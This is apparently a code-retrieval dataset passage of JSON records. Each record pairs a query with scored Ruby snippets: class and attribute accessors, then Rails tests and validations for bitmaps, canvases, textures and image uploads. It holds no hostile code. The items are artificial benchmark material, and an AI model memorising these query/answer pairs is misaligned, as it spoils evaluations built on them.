"title": "" }, { "docid": "1f9a75f41ec8b079ed036b4b7d38a8ff", "score": "0.51917374", "text": "def device_class\n get_prop('DeviceClass')\n end", "title": "" }, { "docid": "37d80d308519a06fe958b345999c12dd", "score": "0.5188804", "text": "def field_class\n\t\t\t\tObject.const_get(@field_class_name)\n\t\t\tend", "title": "" }, { "docid": "873142071f58d4d74734355e9077ebb3", "score": "0.51669633", "text": "def attribute_factory\n V04::Attributes\n end", "title": "" }, { "docid": "b2fbe2ccd540259696268eb7c326373b", "score": "0.5163897", "text": "def get_class()\n l = get_layout()\n #puts \"Layout #{l.class} in #{self.class} , #{self}\"\n l.object_class()\n end", "title": "" }, { "docid": "68b6b2b3ba876e04bb07087b4f6ca72b", "score": "0.5159364", "text": "def data_accessor_for(clazz) #:nodoc:\n @registry ||= Sunspot::Adapters::Registry.new\n @registry.retrieve(clazz)\n end", "title": "" }, { "docid": "7b3f04de8db5882a6cfbd0e179483109", "score": "0.5148752", "text": "def raw_klass(attr)\n attr = attr.to_sym\n if @attribute_map.key?(attr)\n @attribute_map[attr].klass\n else\n raise ArgumentError, \"Untyped attribute #{attr}\"\n end\n end", "title": "" }, { "docid": "6be2dbc2295c7b9b9647d8d1f6640226", "score": "0.5146805", "text": "def type\n @klass\n end", "title": "" }, { "docid": "ed970a737b64021fca12b12ee32668d4", "score": "0.5136893", "text": "def attribute_context_class\n AttributeContext\n end", "title": "" }, { "docid": "89f08301791b5866e111444477f975a4", "score": "0.51367897", "text": "def class_standing\n read_attribute(:class)\n end", "title": "" }, { "docid": "26cbe9ab30b80066c9db79472d94f20d", "score": "0.51286834", "text": "def class\n to_obj ? to_obj.class : Proxy\n end", "title": "" }, { "docid": "ec57e5d97edeed38d22829d2b5c65c0d", "score": "0.51207376", "text": "def type\n 'Class'\n end", "title": "" }, { "docid": "49b046d1099007569b58f533276ff867", "score": "0.51189345", "text": "def get_class()\n l = get_type()\n #puts \"Type #{l.class} in #{self.class} , #{self}\"\n l.object_class()\n end", "title": "" }, { "docid": "49b046d1099007569b58f533276ff867", "score": "0.51189345", "text": "def get_class()\n l = get_type()\n #puts \"Type #{l.class} in #{self.class} , #{self}\"\n l.object_class()\n end", "title": "" }, { "docid": "49b046d1099007569b58f533276ff867", "score": "0.51189345", "text": "def get_class()\n l = get_type()\n #puts \"Type #{l.class} in #{self.class} , #{self}\"\n l.object_class()\n end", "title": "" }, { "docid": "d853c5cb466b5ecf6b5190de97dd1230", "score": "0.5112101", "text": "def dom_class\n @node['class']\n end", "title": "" }, { "docid": "725d0d00308d27d01e2fcbea6e5b6f5f", "score": "0.5106374", "text": "def wrapped_klass; end", "title": "" }, { "docid": "1f5eaa9cf6effea2975f7a19587759bb", "score": "0.50998724", "text": "def cucumberator_class_name object\n \"#{object.class.name}Cucumberator\"\n end", "title": "" }, { "docid": "7d558e0200f5dea157bf9158874b1b7f", "score": "0.50881785", "text": "def class\n target.class\n end", "title": "" }, { "docid": "8dd2368d9cab3776afe4cc4768b671be", "score": "0.5075871", "text": "def class\n __data_hash.key?( :class ) ? __data_hash[ :class ] : super\n end", "title": "" }, { "docid": "1205ed30d0a3083c8f141b34b40c35d2", "score": "0.5074313", "text": "def class\n target.class\n end", "title": "" }, { "docid": "3d0b5ceda3792ece3172728b46fd1f3e", "score": "0.5073691", "text": "def deco_class; end", "title": "" }, { "docid": "0430a796e8833eebba4a6b01c1ee6a6e", "score": "0.50714177", "text": "def value_of(cls)\n self[cls][:value]\n end", "title": "" }, { "docid": "6ba1225466cd9b29614ac2bbb72afd7d", "score": "0.5070236", "text": "def class_name\n return $data_classes[@class_id].name\n end", "title": "" }, { "docid": "195ed5e2d69842999bf5d1e4341d88fe", "score": "0.5065425", "text": "def get_rdf_class(object, attribute)\n return nil unless object.class.respond_to?(:properties)\n\n property = object.class.properties[attribute]\n klass = property[:class_name]\n\n return nil unless klass.respond_to?(:from_uri)\n\n return klass\n end", "title": "" }, { "docid": "ea51fae80a325468569b61a3218a6fb0", "score": "0.5061631", "text": "def create_crypted_attribute_class(name)\r\n class_name = name.to_s.camelize + \"CryptedAttribute\"\r\n klass = Object.const_set(class_name, Class.new(CryptedAttribute))\r\n return klass\r\n end", "title": "" }, { "docid": "657667f2807e3de8c76b4508b111cc8c", "score": "0.50598156", "text": "def get_attribute_type(klass:, name:)\n get_attribute(klass: klass, name: name)[:type]\n end", "title": "" }, { "docid": "b081919508bf58acf6d9e5897c084bd3", "score": "0.5050015", "text": "def class_code\n return @class_code\n end", "title": "" }, { "docid": "2f34a4da4fe204f08df299ade6123b72", "score": "0.5047431", "text": "def klass\n Kernel::const_get(@klass)\n end", "title": "" }, { "docid": "c5331a3c392a31d90b3e5aa57da4f24a", "score": "0.5046493", "text": "def inspect\n \"#{@name}::AttributesAccessor\"\n end", "title": "" }, { "docid": "54d861539fb3fd8f638cd5976996a0ec", "score": "0.5044383", "text": "def class_name\n @class_name\n end", "title": "" }, { "docid": "26b9e37203980d3d63d85768248da513", "score": "0.50431865", "text": "def json_class_name\n mod = self.class.annotation_module\n [mod.hook.domain_module, mod.hook, mod, self.class].map { |m| m.name.demodulize }.join('::')\n end", "title": "" }, { "docid": "f87423879d03d5aa274f5cf216f93ae0", "score": "0.5040975", "text": "def writer_class\n writer_class_name.constantize\n end", "title": "" }, { "docid": "5820cf06eb7f0e20f998fdcac7585b52", "score": "0.5033773", "text": "def klass\n @klass\n end", "title": "" } ]
e2fb6888e269699e2541efe6d5afd058
Test that the correct validations are enforced on Bitmap record creation.
[ { "docid": "c9b2cb3713858920313fb6f80317b03c", "score": "0.8228633", "text": "def testValidations\n numBitmaps = Bitmap.all.count\n Bitmap.create()\n assert_equal(numBitmaps, Bitmap.all.count, \"A Bitmap record without a canvas_id was incorrectly stored\")\n end", "title": "" } ]
[ { "docid": "382e5d3909c5d0d864c66e29bb2831dc", "score": "0.7259933", "text": "def validate!(bitmap, _params)\n # bitmap should be initialized\n validate_bitmap!(bitmap)\n end", "title": "" }, { "docid": "8c61ed7eadc25911df0edd8f7023e8bf", "score": "0.7120428", "text": "def validate_bitmap!(bitmap)\n return if bitmap\n\n raise BitmapException, 'Bitmap array not initialized'\n end", "title": "" }, { "docid": "7ce98439e36f583b65be37104180e826", "score": "0.69618696", "text": "def testGetBitmapFailure\n bitmapGot = Bitmap.getBitmap(3)\n assert(bitmapGot.nil?, \"Bitmap incorrectly retrieved\")\n end", "title": "" }, { "docid": "3257cd45fd6963b659ea00babd8ebe19", "score": "0.6935135", "text": "def validate!(bitmap, params)\n # bitmap should be initialized\n validate_bitmap!(bitmap)\n params\n end", "title": "" }, { "docid": "c80616c308f961bd5c995dd7508e2386", "score": "0.6882139", "text": "def testCanvasValidations\n numCanvases = Canvas.all.count\n Canvas.create(bitmap_id: 2, active: true)\n assert_equal(numCanvases, Canvas.all.count, \"Canvases with empty fields were incorrectly inserted\")\n end", "title": "" }, { "docid": "5daa7f6333a468e3578bc3ef31427682", "score": "0.6637793", "text": "def testGetBitmap\n Bitmap.create(bitmap: 'bitmap_3', canvas_id: 0)\n bitmapGot = Bitmap.getBitmap(0)\n assert_equal('bitmap_3', bitmapGot[:bitmap], \"Bitmap incorrectly retrieved\")\n Bitmap.last.destroy\n end", "title": "" }, { "docid": "f920ec19ac953236ae80e2c6025b4826", "score": "0.6631188", "text": "def testStoreNonemptyBitmap\n numBitmaps = Bitmap.all.count\n Bitmap.storeBitmap('bitmap_3', DateTime.new(1990, 4, 19), 3)\n assert_equal(numBitmaps+1, Bitmap.all.count, \"Nonempty bitmap was not stored\")\n Bitmap.last.destroy\n end", "title": "" }, { "docid": "c94b0203300083aac638dcc507798b40", "score": "0.65796", "text": "def test_valid_bad_params\n assert_raise NoMethodError do\n texture = nil\n status = texture.valid?\n end\n end", "title": "" }, { "docid": "0de4439b7742581615aa11ace3cb8f6c", "score": "0.6443045", "text": "def testStoreEmptyBitmap\n numBitmaps = Bitmap.all.count\n Bitmap.storeBitmap('', DateTime.new(1991, 9, 19), 3)\n assert_equal(numBitmaps+1, Bitmap.all.count, \"Empty bitmap was not stored\")\n Bitmap.last.destroy\n end", "title": "" }, { "docid": "3d176bb83a4c21970a1c02e39b0489e7", "score": "0.6367858", "text": "def testGetBitmapValidCanvasID\n testSocket = SocketController.new\n testTime = DateTime.new(1958, 10, 25)\n testJSON = {bitmap: 'bitmap_2', timestamp: testTime, canvasID: 1}.to_json\n preGetCount = Bitmap.where(\"canvas_id = ?\", 1).count\n testSocket.get_bitmap(testJSON)\n postGetCount = Bitmap.where(\"canvas_id = ?\", 1).count\n newestBitmap = Bitmap.where(\"canvas_id = ?\", 1).order(\"created_at DESC\").first\n assert_equal(preGetCount+1, postGetCount, \"getBitmap failed to save a bitmap\")\n assert_equal(newestBitmap.bitmap, 'bitmap_2', \"incorrect bitmap saved\")\n end", "title": "" }, { "docid": "9ad734d975e9dad9cb51858996519498", "score": "0.6349576", "text": "def test_valid_colour\n @small_bitmap.paint_pixel(1, 1, 'A')\n end", "title": "" }, { "docid": "ca036a3753277d7eaf3841eab519b52b", "score": "0.6276997", "text": "def testStoreBitmapDupCanvas\n numBitmaps = Bitmap.all.count\n Bitmap.storeBitmap('bitmap_3', DateTime.new(1992, 5, 19), 0)\n assert_equal(numBitmaps+1, Bitmap.all.count, \"Bitmap was not stored\")\n Bitmap.last.destroy\n end", "title": "" }, { "docid": "13c4ddc06418fe7d6351427c75177463", "score": "0.6264333", "text": "def test_fill_same_colour\n assert_raises StandardError do\n @small_bitmap.fill(1, 1, 'O')\n end\n end", "title": "" }, { "docid": "bcb66d14aa9a3b9e26c18ca19637d6ef", "score": "0.624045", "text": "def test_validation_independence\n assert_nothing_raised do\n a = Attachment.new(:file => fixture_file_upload('/attachments/AlexOnBMW#4.jpg', 'image/jpeg', :binary))\n assert a.valid?\n a.save!\n end\n end", "title": "" }, { "docid": "349465cb69adbf72d40428761b651b24", "score": "0.62237006", "text": "def create_bitmap\n end", "title": "" }, { "docid": "2b27bfaed16aa28a6aa65980df8ca224", "score": "0.62021744", "text": "def test_valid_maximum_height\n user = UserMinimumDimensions100.new\n\n user.avatar = fixture \"200x200.tiff\"\n assert !user.valid?\n assert user.errors[:avatar].include?(\"is invalid\")\n end", "title": "" }, { "docid": "d09c4c5be102e5ca753273886e992068", "score": "0.61607206", "text": "def test_invalid_colour1\n assert_raises ArgumentError do\n @small_bitmap.paint_pixel(1, 1, 'a')\n end\n end", "title": "" }, { "docid": "16e5295cf4eeb9e655e64ac8fcc3f52c", "score": "0.6130916", "text": "def test_valid_edgecases_return_value_is_valid\n m = Sketchup.active_model.materials.add 'Test Color'\n m.texture = @test_valid_texture\n\n # Test that method returns true when called on a valid texture\n texture = m.texture\n status = texture.valid?\n assert_equal(true, status, '.valid? method did not return true for ' +\n 'valid texture')\n # TODO(tricias): idealy test that method returns false when called on an \n # invalid exture but I'm not sure how to do this as invalid texture files\n # can't be added to materials....\n end", "title": "" }, { "docid": "61e3ac0c5b70c56d99a815a7301b7ca4", "score": "0.60744745", "text": "def validate!(bitmap, params)\n # bitmap should be initialized\n validate_bitmap!(bitmap)\n\n # from_x should be valid\n validate_x!(bitmap, params.fetch(:x), 'X')\n\n # to_x should be valid\n validate_y!(bitmap, params.fetch(:from_y), 'From Y')\n\n # y should be valid\n validate_y!(bitmap, params.fetch(:to_y), 'To Y')\n\n # color should be valid\n validate_color!(bitmap, params.fetch(:color), 'Color')\n\n params\n end", "title": "" }, { "docid": "118e7b3bf37d7669a97a4e340512330e", "score": "0.60473925", "text": "def test_truth\r\n assert_kind_of Image, @image\r\n end", "title": "" }, { "docid": "622d0ca7673d1291143beb2fa6c48853", "score": "0.6035942", "text": "def assert_legal_bitmap_value(number)\n max_value = NxtTypes::MAX_BITMAP_NUMBER_VALUE\n if number > max_value\n raise ArgumentError.new(\"Bitmap maximum value is #{max_value} (0x#{max_value.to_s(16)}).\")\n end\n if number & 1 == 1\n raise ArgumentError.new(\"Bitmap number must not have low bit set.\")\n end\n end", "title": "" }, { "docid": "5ed36c8c02dbed9d81ed3633355611d0", "score": "0.60344106", "text": "def backend_validate\n # TODO: resolve as to whether we need this (haven't yet apparently)\n # if we have the img attribute set (the file name), we should have a file\n # errors.add(:base, \"Can't find image file!\") if (file_name? and not File.exists?(\"#{IMAGE_FILE_PATH}original/#{file_name}\"))\n # validates file_md5 == md5_from_real_file unless :temp_file\n end", "title": "" }, { "docid": "e62302bd04d5e5bebc8f36c276d73172", "score": "0.5987713", "text": "def backend_validate\n # if we have the img attribute set (the file name), we should have a file\n # errors.add(:base, \"Can't find image file!\") if (file_name? and not File.exists?(\"#{IMAGE_FILE_PATH}original/#{file_name}\"))\n # validates file_md5 == md5_from_real_file unless :temp_file\n end", "title": "" }, { "docid": "2283c6b7377f2291d43fc6f16ac74dd8", "score": "0.58931106", "text": "def test_valid_maximum_width\n user = UserMaximumWidth200.new\n\n user.avatar = fixture \"200x200.png\"\n assert user.valid?\n end", "title": "" }, { "docid": "10ae7fc4a0f735a2b4e4d59dde13cc85", "score": "0.5873915", "text": "def valid?\n super and picture_is_valid?\n end", "title": "" }, { "docid": "f114667595a18b74f0c40ee681488553", "score": "0.586098", "text": "def test_valid_minimum_width\n user = UserMinimumWidth200.new\n\n user.avatar = fixture \"200x200.png\"\n assert user.valid?\n end", "title": "" }, { "docid": "85032ba6615af67083afef05446857f3", "score": "0.5859894", "text": "def validate_image_properties\n if @media_element\n if @media_element.image?\n errors.add(:alignment, :cant_be_null_if_image) if self.alignment.nil?\n if @slide && @slide.cover?\n errors.add(:inscribed, :must_be_false_if_cover) if self.inscribed\n errors.add(:caption, :must_be_null_if_cover) if !self.caption.blank?\n end\n else\n errors.add(:alignment, :must_be_null_if_not_image) if !self.alignment.nil?\n errors.add(:caption, :must_be_null_if_not_image) if !self.caption.blank?\n errors.add(:inscribed, :must_be_false_if_not_image) if self.inscribed\n end\n end\n end", "title": "" }, { "docid": "992f785c7ea6412df49924c176b3ea9b", "score": "0.585956", "text": "def test_error_validation\n # No Color Name\n no_data = ImColor.new\n assert !no_data.valid?\n assert no_data.errors.invalid?(:color_name)\n\n # Invalid Data (Duplicate Color Name)\n bad_color = ImColor.new(:color_name => im_colors(:blue).color_name)\n assert !bad_color.save\n assert_equal \"has already been taken\" , bad_color.errors.on(:color_name)\n \n # Valid Data\n bad_color.color_name = \"purple\"\n assert bad_color.valid?\n end", "title": "" }, { "docid": "a9192358ba6623a931ef0e566ac05fd8", "score": "0.5858125", "text": "def test_creation\n m = Map.find(1)\n assert m.valid?\n m2 = Map.create( :name => \"map3\", :size_x => 20, :size_y => 30)\n assert m2.valid?\n end", "title": "" }, { "docid": "4e6f9cfdc42a956e1cd26c7b41bbf1c3", "score": "0.5857024", "text": "def valid?\n return false if !super\n return false if @crop_bottom.nil?\n return false if @crop_left.nil?\n return false if @crop_right.nil?\n return false if @crop_top.nil?\n return false if @dpi.nil?\n return false if @picture_fill_mode.nil?\n picture_fill_mode_validator = EnumAttributeValidator.new('String', ['Tile', 'Stretch'])\n return false unless picture_fill_mode_validator.valid?(@picture_fill_mode)\n true\n end", "title": "" }, { "docid": "6a4b448c6edb9f437ba24e4d0f01c127", "score": "0.584852", "text": "def image_data_valid?\n return if !storage.temp_file\n if storage.image_too_big?\n errors.add_to_base(self.class.has_image_options[:image_too_big_message])\n elsif storage.image_too_small?\n errors.add_to_base(self.class.has_image_options[:image_too_small_message])\n elsif !HasImage::Processor.valid?(storage.temp_file)\n errors.add_to_base(self.class.has_image_options[:invalid_image_message])\n end\n end", "title": "" }, { "docid": "6bce9fe957089a2a7c227b00d36d45a3", "score": "0.5838415", "text": "def testSetBitmap\n canvas = Canvas.where(\"id = ?\", 1).first\n originalBitmapID = canvas[:bitmap_id]\n Canvas.setBitmap(canvas[:id], 3)\n canvas = Canvas.where(\"id = ?\", 1).first\n newBitmapID = canvas[:bitmap_id]\n assert_not_equal(Bitmap.where(\"id = ?\", originalBitmapID).first, Bitmap.where(\"id = ?\", newBitmapID).first,\n \"Canvas record's bitmap_id field was not changed\")\n canvas[:bitmap_id] = originalBitmapID\n canvas.save\n end", "title": "" }, { "docid": "332058f5365d3a74807162eccefb5f57", "score": "0.58373547", "text": "def test_unneeded_widths_check\n GeneratedImage.unstub(:new)\n GeneratedImage.stubs(new: gstub(600, exists: true))\n source_image.expects(:width).never\n\n tested.to_s\n end", "title": "" }, { "docid": "875fe7f87de2d491ed2e8fe024a7e426", "score": "0.5821403", "text": "def image_valid?\n valid?\n errors[:image_file_name].blank? && errors[:image_file_size].blank? && errors[:image_content_type].blank?\n end", "title": "" }, { "docid": "ec23e2378b4a93a6eb17349957610f43", "score": "0.5808402", "text": "def test_raw_validation\n address = Address.new\n if REQ_ATTR_NAMES.blank?\n assert address.valid?, \"Address should be valid without initialisation parameters\"\n else\n # If Address has validation, then use the following:\n assert !address.valid?, \"Address should not be valid without initialisation parameters\"\n REQ_ATTR_NAMES.each {|attr_name| assert address.errors.invalid?(attr_name.gsub(/_id$/,'').to_sym), \"Should be an error message for :#{attr_name}\"}\n end\n end", "title": "" }, { "docid": "ec23e2378b4a93a6eb17349957610f43", "score": "0.5808402", "text": "def test_raw_validation\n address = Address.new\n if REQ_ATTR_NAMES.blank?\n assert address.valid?, \"Address should be valid without initialisation parameters\"\n else\n # If Address has validation, then use the following:\n assert !address.valid?, \"Address should not be valid without initialisation parameters\"\n REQ_ATTR_NAMES.each {|attr_name| assert address.errors.invalid?(attr_name.gsub(/_id$/,'').to_sym), \"Should be an error message for :#{attr_name}\"}\n end\n end", "title": "" }, { "docid": "2f9b3eebb82890d9017c8dd71567bc64", "score": "0.57520354", "text": "def test_set_size_bad_params\n\n # Test assertion occurs when method is called on a nil texture\n assert_raise NoMethodError do\n texture = nil\n size = texture.size= 60\n end\n\n # Test assertion occurs when texture size is set to 0\n m = Sketchup.active_model.materials.add 'Test Color'\n m.texture = @test_valid_texture\n texture = m.texture\n assert_raise ArgumentError do\n size = texture.size = 0\n end\n\n # Test assertion occurs when texture size is set to nil\n assert_raise TypeError do\n size = texture.size = nil\n end\n end", "title": "" }, { "docid": "6f6354e564fa7195d1dc308353233cea", "score": "0.57317424", "text": "def parse!(bitmap)\n # No params needed\n validate!(bitmap, {})\n end", "title": "" }, { "docid": "f8f555c217d19ab739f3f902f11febe0", "score": "0.5717419", "text": "def image_validation\n if image.attached?\n if !image.blob.content_type.in?(%w(image/jpeg image/jpg image/png))\n image.purge_later\n errors.add(:image, 'The image wrong format')\n elsif image.blob.content_type.in?(%w(image/jpeg image/jpg image/png)) && image.blob.byte_size > (5 * 1024 * 1024) # Limit size 5MB\n image.purge_later\n errors.add(:image, 'The image oversize limited (5MB)')\n end\n elsif image.attached? == false\n image.purge_later\n errors.add(:image, 'The image required.')\n end\n end", "title": "" }, { "docid": "9679b9289612f49ed1c9ac2dbdb1833a", "score": "0.5715326", "text": "def test01()\n objectID = nil\n begin\n createBitmapCommand = CommandModule.make_createbitmapcontext(width: 300,\n height: 200, name: :floatcontext, preset: :AlphaPreMulLastRGB32bpcFloat)\n objectRef = Smig.perform_command(createBitmapCommand).to_i\n numObjects = Smig.get_numberofobjects(objecttype: :bitmapcontext).to_i\n lastIndex = 0\n if numObjects < 1\n puts \"2: We should have at least 1 bitmap object. We have: #{numObjects}\"\n else\n lastIndex = numObjects - 1 \n end\n\n objectID = SmigIDHash.make_objectid(objecttype: :bitmapcontext,\n objectindex: lastIndex)\n objRef2 = Smig.get_objectproperty(objectID, property: :objectreference).to_i\n unless objRef2.eql? objectRef\n puts \"Object reference property different to that returned when created\"\n end\n \n rescue RuntimeError => e\n $errorcode = Smig.exitvalue\n unless $errorcode.zero?\n puts \"Exit string: \" + Smig.exitstring\n puts $teststring + \" Exit status: \" + $errorcode.to_s\n end\n puts e.message\n puts e.backtrace.to_s\n ensure\n Smig.close_object_nothrow(objectID) unless objectID.nil?\n end\nend", "title": "" }, { "docid": "f293f60ac115ec68bebbc3b3f6affa7b", "score": "0.5701064", "text": "def validate_dimension\n if type == 'CoursePhotographyBanner' || type == 'CourseMultimediaBanner'\n required_width, required_height = 480, 466\n elsif TYPES[7, 12].include?(type)\n required_width, required_height = 315, 178\n else\n required_width, required_height = 947, 469\n end\n dimensions = Paperclip::Geometry.from_file(image.queued_for_write[:original].path)\n\n errors.add(:image, \"dimension must be #{required_width}x #{required_height} or above\") if dimensions.width < required_width || dimensions.height < required_height\n end", "title": "" }, { "docid": "aaebce4802843b000a4282b5f248328c", "score": "0.5687581", "text": "def _test # test bitmap flags ?(label)\r\n bitmap, flags = @operands\r\n\r\n branch ((bitmap & flags) == flags)\r\n end", "title": "" }, { "docid": "ea1487d8e7c091ab4fcd32cdebb2cc85", "score": "0.56782866", "text": "def test_validate_new_card\n credit_card = CreditCard.new\n\n assert_nothing_raised do\n credit_card.validate\n end\n end", "title": "" }, { "docid": "60ad70f83eac717491c325e902c0351d", "score": "0.56744426", "text": "def test_should_require_description\n profile = create(:description => nil)\n assert profile.errors.invalid?(:description), \":description should be required\"\n assert_invalid profile, \"profile shouldn't be created\"\n end", "title": "" }, { "docid": "11e8ed30aa8f26113a949d757ad66fd8", "score": "0.56616676", "text": "def test_setting_validations\n empty_obj = {}\n s = Setting.new\n # All attributes were empty, which produces the maximum number of errors\n assert_no_difference Setting, :count do\n s = Setting.create empty_obj\n assert_equal 2, s.errors[:filesize_limit].size\n assert_equal 2, s.errors[:admin_group_id].size\n assert_equal s.errors[:application_name], \"can't be blank\"\n end\n # Ok to create the file\n assert_difference Setting, :count do\n s = Setting.create @settings\n end\n \n # Set the good file to bad data\n assert_equal false, s.update_attribute(:filesize_limit, -1) # Too Small\n s = Setting.create @settings\n assert_equal false, s.update_attribute(:filesize_limit, 1000000 * 1024) # Too Large\n end", "title": "" }, { "docid": "54662f1d60165d94a9132f92c40d16eb", "score": "0.5641779", "text": "def test_valid_minimum_height\n user = UserMinimumHeight200.new\n\n user.avatar = fixture \"200x200.png\"\n assert user.valid?\n end", "title": "" }, { "docid": "ed7869a8e552430dddd78726aa71fbb3", "score": "0.5630646", "text": "def test_validate_new_card\n bank_account = BankAccount.new\n \n assert_nothing_raised do\n bank_account.validate\n end\n end", "title": "" }, { "docid": "c6f596305c16b7d50fadd6ecfa04ea40", "score": "0.56214553", "text": "def logo_dimensions_validation\n if logo.queued_for_write[:original]\n dimensions = Paperclip::Geometry.from_file(logo.queued_for_write[:original].path) \n if dimensions.width > 200 && dimensions.height > 200\n errors.add(:logo,'width and height must be in 200x200')\n end\n end \n end", "title": "" }, { "docid": "19d4e0359808223a28b279988e93c94d", "score": "0.5618997", "text": "def test_should_ignore_invalid_type\n @blank_binary.class_eval do\n prefixed_attribute :bytes, :type => :unknown_invalid\n end\n\n temp_binary_object = @blank_binary.new\n\n temp_binary_object.bytes = 1024\n assert_raise NoMethodError do\n temp_binary_object.kibibytes\n end\n assert_raise NoMethodError do\n temp_binary_object.kilobytes\n end\n end", "title": "" }, { "docid": "8317418be060c267dd183810ae9b0dcb", "score": "0.5617347", "text": "def test_image_width_bad_params\n assert_raise NoMethodError do\n texture = nil\n imagewidth = texture.image_width\n end\n end", "title": "" }, { "docid": "6692fc1e94be0178bfc8d58aab2e10b5", "score": "0.5617237", "text": "def test_that_a_users_photo_url_begins_with_http\n pic_pattern_standard = User.new(first_name: \"Nerys\", last_name: \"Kira\", email: \"keepresisting@resistance.com\", photo_url: \"vivaleresistance.png\")\n\n refute pic_pattern_standard.save\n assert pic_pattern_standard.errors.messages\n\n pic_pattern_http = User.new(first_name: \"Jake\", last_name: \"Sisko\", email: \"journalist@ds9.com\", photo_url: \"http://www.ds9.com/employees/pictures/saycheese.png\")\n assert pic_pattern_http.errors.full_messages\n assert pic_pattern_http.save!\n end", "title": "" }, { "docid": "a03b1582ac540ea291965b64348f6722", "score": "0.5610185", "text": "def validate_image_sanity\n if @file.nil? or @file.to_s.empty?\n errors.add(:file, 'is not a file')\n return false\n end\n errors.add(:file, 'is too big (3MB max)') if @file.size > 3 * 1048576\n begin\n @magick_image = MiniMagick::Image.from_blob(@file.read,\n File.extname(@file.original_filename))\n rescue\n logger.debug(\"Caught an exception saving an image:\")\n logger.debug(\"* #{$!}\")\n errors.add(:file, 'is not an image')\n end\n return false if self.errors.size > 0\n self.content_type = @file.content_type.chomp\n true\n end", "title": "" }, { "docid": "a7d446e341c64d302d3d01a537fc8c1b", "score": "0.5607396", "text": "def validation\n for i in 1..@num_img\n if @height[i] > 0 && @width[i] > 0 && @height[i] < 10000 && @width[i] < 10000\n if @width[i]<@length || @height[i]<@length\n puts \"Image not valid\"\n elsif @width[i]==@height[i]\n puts \"Perfect Image\"\n else\n puts \"Crop and accept\"\n end\n else\n puts \"wrong input\"\n end\n end\n end", "title": "" }, { "docid": "4ed0e350a80069ebb3efbafc9fc99618", "score": "0.55887026", "text": "def test_creation_without_tiff\n new_job = Job.new(:check_number => 12345, :job_status => \"New\", :batch => Batch.find(1), :estimated_eob => 12)\n assert new_job.valid?\n assert_equal(new_job.save,true)\n end", "title": "" }, { "docid": "d7598fbe917a72e1993fcd166474d6f7", "score": "0.5585644", "text": "def test_create_massless_opaque_material()\n model = OpenStudio::Model::Model.new()\n material = BTAP::Resources::Envelope::Materials::Opaque::create_massless_opaque_material(model)\n assert( !(material.to_MasslessOpaqueMaterial.empty?))\n end", "title": "" }, { "docid": "149ce543ebe4c44cdfbcf050d459db03", "score": "0.5576865", "text": "def test_creation_game\n g = Game.create \n assert !g.valid?\n end", "title": "" }, { "docid": "b468bbd9805a772f3dc8575af94430ee", "score": "0.5575042", "text": "def test_imageExists\r\n assert( ! $ff.image(:name , \"missing_name\").exists? )\r\n assert( $ff.image(:name , \"circle\").exists? )\r\n assert( $ff.image(:name , /circ/ ).exists? )\r\n \r\n assert( ! $ff.image(:id , \"missing_id\").exists? )\r\n assert( $ff.image(:id , \"square\").exists? )\r\n assert( $ff.image(:id , /squ/ ).exists? )\r\n \r\n assert( ! $ff.image(:src, \"missingsrc.gif\").exists? )\r\n \r\n assert( $ff.image(:src, /images\\/triangle.jpg/).exists? )\r\n assert( $ff.image(:src , /triangle/ ).exists? )\r\n \r\n assert( $ff.image(:alt , \"circle\" ).exists? )\r\n assert( $ff.image(:alt , /cir/ ).exists? )\r\n \r\n assert( ! $ff.image(:alt , \"triangle\" ).exists? )\r\n assert( ! $ff.image(:alt , /tri/ ).exists? )\r\n \r\n assert( $ff.image(:title, 'square_image').exists? )\r\n assert( ! $ff.image(:title, 'pentagram').exists? )\r\n end", "title": "" }, { "docid": "bfd20438c5e7e9d8ea79462da834c5db", "score": "0.5573793", "text": "def test_single_image_is_100_percent_packed\n images = [\n { :width => 100, :height => 100 },\n { :width => 100, :height => 50 },\n { :width => 50, :height => 100 }\n ]\n images.each do |image|\n verify_layout(image[:width], image[:height], [{:x => 0, :y => 0}], [image], :layout => :packed)\n end\n end", "title": "" }, { "docid": "100a8d0ad4080fd2f06e390a4854c841", "score": "0.55652684", "text": "def image_validation\n errors.add(:image, \"size can't less than 5 MB\") if self.image.size < 5000\n end", "title": "" }, { "docid": "66faea5f1ce662fcdb5d4ca7d58a8b70", "score": "0.5559561", "text": "def test_create_and_validate_credit_card_from_brand\n credit_card = CreditCard.new(brand: CreditCard.brand?('4242424242424242'))\n assert_nothing_raised do\n credit_card.validate\n end\n end", "title": "" }, { "docid": "a30023fa633af2c8d200875bbd26bd32", "score": "0.5554081", "text": "def test_create_attachment_with_invalid_url\n assert_nothing_raised do\n u = \"http://ffew.aa.xyz/dd.nfg\"\n a = Attachment.create(:url => u)\n assert !a.valid?\n assert_equal u, a.url\n assert a.errors[:url]\n end\n end", "title": "" }, { "docid": "e53ea61b5a7bc67f3e024ffb02d5033f", "score": "0.55503833", "text": "def test_valid_maximum_height\n user = UserMaximumHeight200.new\n\n user.avatar = fixture \"200x200.png\"\n assert user.valid?\n end", "title": "" }, { "docid": "70d6b6aee17a37f74c838ae232aeed54", "score": "0.5537241", "text": "def upload_image_validation\n render :json => FroalaEditorSDK::Image.upload(params, \"public/uploads/images/\", {\n validation: Proc.new do |file, type|\n img = MiniMagick::Image.open(file)\n if img.width != img.height\n raise 'Image is not square'\n end\n end,\n file_access_path: '/uploads/'\n })\n end", "title": "" }, { "docid": "62e846d737e2cf366dd6733011e563c3", "score": "0.55318356", "text": "def test_set_size_edgecases\n\n # Set size of texture and verify that the texture height and width \n # are as expected\n m = Sketchup.active_model.materials.add 'Test Color'\n m.texture = @test_valid_texture\n texture = m.texture\n size = texture.size = 60\n width = texture.width.to_i\n height = texture.height.to_i\n expected_width = 60\n expected_height = 45\n assert_equal([expected_width, expected_height], [width, height],\n \"\\nWe expected to see a height of #{expected_height}\" +\n \" and got #{height}\n We expected to see a width of #{expected_width}\" +\n \" and got #{width}\\n\")\n end", "title": "" }, { "docid": "e77df557e0a895fdb358aae1afc302a8", "score": "0.55234337", "text": "def test_image_height_bad_params\n assert_raise NoMethodError do\n texture = nil\n imageheight = texture.image_height\n end\n end", "title": "" }, { "docid": "bc381d220261d0c14294b0afffdd2a1a", "score": "0.55193436", "text": "def attrib_bits_valid; end", "title": "" }, { "docid": "6d7ce6392f8d3b720da4eb60336f51e4", "score": "0.55159056", "text": "def bitmaps_enabled?\n true\n end", "title": "" }, { "docid": "36cc2d3b60dd85a9e412f56a9173bb64", "score": "0.55125946", "text": "def validates_as_attachment\n validates_presence_of :size, :content_type, :filename\n validate :attachment_attributes_valid?\n end", "title": "" }, { "docid": "8d184d8cef920d4f1048d74b0e910b04", "score": "0.5511417", "text": "def validates_image_size(*attrs) \n options = attrs.pop if attrs.last.is_a?Hash\n raise ArgumentError, \"Please include a :min option.\" if !options || 